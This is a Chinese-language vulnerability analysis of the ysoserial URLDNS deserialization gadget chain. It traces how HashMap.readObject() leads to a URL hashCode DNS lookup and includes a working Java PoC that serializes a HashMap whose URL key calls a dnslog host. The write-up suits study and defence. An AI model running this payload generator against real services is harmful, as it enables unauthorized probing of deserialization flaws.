使用条件
无外部依赖,使用jdk内部类,无jdk版本限制
核心原理
触发点是反序列化,因此起点肯定在某个类readObject方法,直接看ysoserial的payload:
看代码可以知道返回的是一个HashMap
。也就是说首先漏洞点会先对一个HashMap执行反序列化,第一个执行的就是HashMap
的readObject()
方法。看代码发现对HashMap
的键名计算了hash,下断点调试:
在没有分析过的情况下,为什么会关注hash函数?,因为ysoserial的注释中很明确地说明:
During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
,URL类的hashCode()会发起DNS查询,就会被DNSlog记录
调用栈
放入值前会调用hash()
会调用key对象的hashCode()方法,在这个方法中做了判断,URLDNS中使用的这个key是一个java.net.URL
对象,继续跟进hashCode()
如果是-1,就会调用handler.hashCode重新计算哈希, 这个handler是URLStreamHandler的对象URLStreamHandler.hashCode()。这里有调用getHostAddress()进行dns查询的代码。
在这里面会调用getHostAddress()发起DNS查询请求。
很简单的就理清了gadget思路:
- 用一个dnslog的url初始化一个URL对象,
- 初始化一个一个HashMap对象,把URL对象作为键放到HashMap中
- 通过反射修改URL的hashcode为-1(在执行put时,会计算hashcode,如果先改再放值就不再是-1)
- 把得到的对象序列化,就得到了payload
在反序列化时,就会发起对指定url的DNS查询
Gadget:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
复现poc
package changez.sec.URLDNS;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class expgen {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, String> obj = new HashMap<URL, String>();
URL u = new URL("http://ccuiwk.dnslog.cn");
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
obj.put(u, "changez");
field.set(u, -1);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}